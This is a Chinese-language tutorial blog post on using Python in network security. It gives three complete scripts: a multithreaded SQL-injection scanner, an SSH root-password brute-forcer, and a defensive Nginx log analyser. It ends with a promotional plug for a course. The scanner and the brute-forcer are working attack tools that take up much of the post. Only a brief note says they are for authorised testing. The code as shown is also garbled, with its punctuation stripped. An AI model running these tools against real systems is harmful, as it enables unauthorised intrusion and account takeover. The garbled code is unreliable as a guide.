2026/1/12 6:56:59
网站建设
项目流程
王磊网络网站建设,wordpress增加下载功能,wordpress 缓存 iis,做网站公司排名是什么Python 在网络安全中的应用#xff1a;转行必备的脚本编写技能#xff08;实战案例#xff09; 引言
很多转行网络安全的同学会问#xff1a;“我不会写代码#xff0c;能做安全吗#xff1f;”—— 初期可以#xff0c;但想长期发展#xff0c;Python 是绕不开的 “效…Python 在网络安全中的应用转行必备的脚本编写技能实战案例引言很多转行网络安全的同学会问“我不会写代码能做安全吗”—— 初期可以但想长期发展Python 是绕不开的 “效率神器”。比如手动用 Sqlmap 扫 50 个 URL 的 SQL 注入漏洞要 1 天写个 Python 脚本自动扫只要 1 小时手动分析 1G 的 Nginx 日志找攻击 IP 要几小时脚本处理只要几分钟。Python 能帮你从 “重复手动操作” 中解放聚焦更核心的漏洞分析、风险评估。本文精选 3 个网络安全高频场景每个场景给 “完整脚本 详细注释 运行步骤”零基础也能跟着写学会后直接用在工作 / 面试中。一、新手必知Python 为什么适合网络安全1. 核心优势对转行友好语法简单代码像 “英语句子”零基础 1 周能写简单脚本比如批量发请求库丰富安全相关库现成的requests发 HTTP 请求、scapy抓包、pymysql操作数据库不用重复造轮子跨平台Windows/Linux/Mac 都能运行写一次脚本到处用轻量脚本文件小几 KB 到几十 KB运行快适合渗透测试、漏洞扫描场景。2. 入门准备3 步搞定环境搭建安装 Python 3.x官网下载勾选 “Add Python to PATH”、PyCharm社区版免费写代码 调试方便必学库先掌握 4 个高频库不用学太多库名用途学习重点requests发送 HTTP/HTTPS 请求Web 漏洞测试必备学get()、post()方法处理 cookies、headersre正则表达式提取页面信息、日志分析学search()、findall()方法匹配 URL、IP、flagthreading多线程批量扫描提升效率学Thread类实现多线程并发请求pymysql操作 MySQL 数据库漏洞利用时取数据学connect()、execute()方法执行 SQL 语句学习方法先学 “基础语法 常用库”再做场景化实战比如 “用 requests 发请求→用 re 提取数据→用 threading 批量扫”循序渐进。二、实战案例 1批量 URL SQL 注入扫描脚本Web 渗透高频1. 场景需求需要扫描 50 个 URL存放在urls.txt中是否存在 SQL 注入漏洞手动扫太慢写脚本自动检测。2. 脚本思路读取urls.txt中的所有 URL每行一个 URL如http://example.com/article.php?id1对每个 URL 构造 SQL 注入测试 payload如id1’、id1 and 12发送请求判断响应是否包含 “SQL 语法错误”“MySQL server version” 等注入特征输出有漏洞的 URL 到vuln_urls.txt。3. 完整脚本带详细注释import requests import re # 正则表达式用于匹配注入特征 from threading import Thread # 多线程提升扫描速度 # 1. 定义 SQL 注入测试 payload新手选最常用的 2 个即可 payloads [ , # 单引号测试触发 SQL 语法错误 and 12-- # 逻辑假测试触发页面空白或报错 ] # 2. 定义注入特征出现这些字符串大概率有注入 inject_patterns [ You have an error in your SQL syntax, # SQL 语法错误 MySQL server version for the right syntax, # MySQL 版本信息 Unclosed quotation mark after the character string, # SQL Server 单引号未闭合 PG::SyntaxError, # PostgreSQL 语法错误 ] # 3. 定义扫描函数检测单个 URL 是否有注入 def scan_url(url): try: # 遍历所有 payload 测试 for payload in payloads: # 构造测试 URL替换 URL 中的 id 参数如 id1 变成 id1 test_url url.replace(id1, fid1{payload}) # 发送请求超时设为 5 秒避免卡壳 response requests.get(test_url, timeout5, verifyFalse) # 忽略 SSL 证书警告很多测试环境没有正规证书 requests.packages.urllib3.disable_warnings() # 检查响应是否包含注入特征 for pattern in inject_patterns: if re.search(pattern, response.text, re.IGNORECASE): print(f[] 发现 SQL 注入漏洞{test_url}) # 把有漏洞的 URL 写入文件 with open(vuln_urls.txt, a, encodingutf-8) as f: f.write(test_url \n) break # 找到一个漏洞即可不用再测其他 payload except Exception as e: # 捕获异常如 URL 不可达、超时不影响其他 URL 扫描 print(f[-] 扫描失败{url}{str(e)}) # 4. 主函数读取 URL 列表多线程扫描 def main(): # 读取 urls.txt 中的 URL每行一个 with open(urls.txt, r, encodingutf-8) as f: urls [line.strip() for line in f if line.strip()] # 去除空行和换行符 # 多线程扫描同时开 10 个线程避免请求过多被封 threads [] for url in urls: t Thread(targetscan_url, args(url,)) # 创建线程 threads.append(t) t.start() # 启动线程 # 等待所有线程结束 for t in threads: t.join() print(\n[*] 扫描完成有漏洞的 URL 已保存到 vuln_urls.txt) # 5. 运行脚本 if __name__ __main__: main()4. 运行步骤准备urls.txt每行写一个待扫描的 URL如http://example.com/article.php?id1 http://test.com/news.php?id10 http://ctf.com/show.php?id5安装依赖库打开命令行执行pip install requests运行脚本在 PyCharm 中点击 “运行”或命令行执行python sql_injection_scan.py查看结果扫描完成后vuln_urls.txt中会保存有漏洞的 URL。5. 转行应用简历写法“用 Python 编写批量 SQL 注入扫描脚本基于 requests 库发送测试请求结合正则匹配注入特征多线程扫描 50 个 URL效率提升 80%成功识别 3 个存在注入漏洞的目标”面试应对被问 “怎么优化这个脚本” 时答 “可添加更多 payload如union select、增加代理池避免 IP 被封、支持 POST 参数扫描当前只扫 GET 参数”。三、实战案例 2SSH 弱密码爆破脚本内网渗透高频1. 场景需求拿到内网一批 Linux 服务器 IP存放在ips.txt需要测试是否存在 SSH 弱密码账号root密码从passwords.txt中取写脚本自动爆破。2. 脚本思路读取ips.txt中的服务器 IP 和passwords.txt中的弱密码对每个 IP尝试用root 密码登录 SSH登录成功则记录 IP 和密码失败则继续尝试。3. 完整脚本带详细注释import paramiko # SSH 连接库 from threading import Thread import time # 1. 定义 SSH 登录函数 def ssh_brute(ip, username, password): # 创建 SSH 客户端 ssh paramiko.SSHClient() # 自动接受未知主机密钥测试环境用生产环境需谨慎 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # 尝试登录超时 10 秒 ssh.connect( hostnameip, usernameusername, passwordpassword, timeout10, allow_agentFalse, # 禁用代理 look_for_keysFalse # 禁用密钥登录 ) # 登录成功输出并记录结果 result f[] SSH 登录成功{ip} | 账号{username} | 密码{password} print(result) with open(ssh_success.txt, a, encodingutf-8) as f: f.write(result \n) ssh.close() # 关闭连接 except Exception as e: # 登录失败密码错误、超时等不输出详细错误避免干扰 print(f[-] SSH 登录失败{ip} | 密码{password}) finally: ssh.close() # 2. 主函数多线程爆破 def main(): # 读取目标 IP 列表ips.txt 每行一个 IP with open(ips.txt, r, encodingutf-8) as f: ips [line.strip() for line in f if line.strip()] # 读取弱密码列表passwords.txt 每行一个密码 with open(passwords.txt, r, encodingutf-8) as f: passwords [line.strip() for line in f if line.strip()] # 目标账号通常是 root username root # 多线程爆破同时开 5 个线程避免请求过多 threads [] for ip in ips: for pwd in passwords: t Thread(targetssh_brute, args(ip, username, pwd)) threads.append(t) t.start() time.sleep(0.1) # 间隔 0.1 秒避免瞬间请求过多 # 等待所有线程结束 for t in threads: t.join() print(\n[*] 爆破完成成功的登录信息已保存到 ssh_success.txt) # 3. 运行脚本 if __name__ __main__: main()4. 运行步骤准备文件ips.txt每行一个服务器 IP如192.168.1.101、192.168.1.102passwords.txt每行一个弱密码如123456、admin、password安装依赖库pip install paramiko运行脚本python ssh_brute.py查看结果ssh_success.txt中保存登录成功的 IP、账号、密码。5. 转行应用简历写法“编写 SSH 弱密码爆破脚本基于 paramiko 库实现 SSH 连接多线程测试 20 台内网服务器成功发现 4 台存在弱密码root/123456的主机为内网渗透提供入口”注意事项仅限授权测试未授权爆破是违法的面试时要强调 “只在客户授权的测试环境使用”。四、实战案例 3Nginx 日志 SQL 注入分析脚本安全运维高频1. 场景需求服务器被攻击需要分析 Nginx 访问日志access.log找出所有包含 SQL 注入 payload 的请求如union select、or 11并统计攻击 IP 的次数。2. 脚本思路读取 Nginx 日志文件用正则匹配包含 SQL 注入特征的日志行提取攻击 IP统计每个 IP 的攻击次数输出结果到sql_injection_logs.txt和attack_ip_count.txt。3. 完整脚本带详细注释import re from collections import Counter # 用于统计 IP 次数 # 1. 定义 SQL 注入特征常用 payload可根据需求添加 sql_patterns [ runion\sselect, # union select 注入 ror\s11, # or 11 注入 rand\s12, # and 12 注入 rorder\sby\s\d,# order by 猜列 rbenchmark\(\d,md5\(\\w\\)\), # 时间盲注 rconcat\(.*\) # concat 拼接数据 ] # 2. 定义日志分析函数 def analyze_nginx_log(log_path): attack_logs [] # 存储包含注入的日志 attack_ips [] # 存储攻击 IP # 读取日志文件Nginx 日志格式IP - - [时间] 请求 状态码 字节数 with open(log_path, r, encodingutf-8, errorsignore) as f: for line in f: # 提取 IP日志开头的 IP如 192.168.1.100 ip_match re.match(r^(\d\.\d\.\d\.\d), line) if not ip_match: continue # 不是标准日志行跳过 ip ip_match.group(1) # 检查日志是否包含 SQL 注入特征 for pattern in sql_patterns: # 忽略大小写匹配如 Union Select 和 union select 都能匹配 if re.search(pattern, line, re.IGNORECASE): attack_logs.append(line.strip()) attack_ips.append(ip) break # 匹配到一个特征即可不用再查其他 # 统计攻击 IP 的次数按次数降序 ip_count Counter(attack_ips).most_common() # 保存包含注入的日志 with open(sql_injection_logs.txt, w, encodingutf-8) as f: f.write(包含 SQL 注入的 Nginx 日志\n) f.write(*50 \n) for log in attack_logs: f.write(log \n) # 保存攻击 IP 统计 with open(attack_ip_count.txt, w, encodingutf-8) as f: f.write(攻击 IP 统计次数降序\n) f.write(*50 \n) f.write(f{IP 地址:20} {攻击次数:10}\n) f.write(-*50 \n) for ip, count in ip_count: f.write(f{ip:20} {count:10}\n) # 输出结果摘要 print(f[*] 日志分析完成) print(f[*] 发现 {len(attack_logs)} 条包含 SQL 注入的请求) print(f[*] 涉及 {len(ip_count)} 个攻击 IP) print(f[*] 详细结果已保存到 sql_injection_logs.txt 和 attack_ip_count.txt) # 3. 运行脚本 if __name__ __main__: # Nginx 日志路径根据实际情况修改Windows 路径如 C:/nginx/logs/access.log nginx_log_path /var/log/nginx/access.log analyze_nginx_log(nginx_log_path)4. 运行步骤确认日志路径Linux 通常是/var/log/nginx/access.logWindows 是nginx安装目录/logs/access.log运行脚本python nginx_sql_analyze.py查看结果sql_injection_logs.txt所有包含 SQL 注入的日志行attack_ip_count.txt攻击 IP 及其次数如192.168.1.105攻击 23 次。5. 转行应用简历写法“编写 Nginx 日志 SQL 注入分析脚本基于正则匹配注入特征处理 1.2G 日志文件成功识别 156 条注入请求定位 8 个攻击 IP为服务器入侵溯源提供关键线索”延伸优化可添加 “输出到 Excel”“自动拉黑高频攻击 IP” 功能提升脚本实用性。五、新手学习建议转行版先模仿再修改先跑通本文的脚本再根据需求修改如增加 payload、支持新格式日志聚焦 “高频场景”先学 “批量扫描”“日志分析”“弱密码爆破”这些是工作中最常用的别追求 “完美代码”新手脚本只要能跑通、解决问题就行后续再优化效率和可读性积累 “代码片段库”把常用的代码如 requests 发请求、正则匹配 IP保存起来下次直接用。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源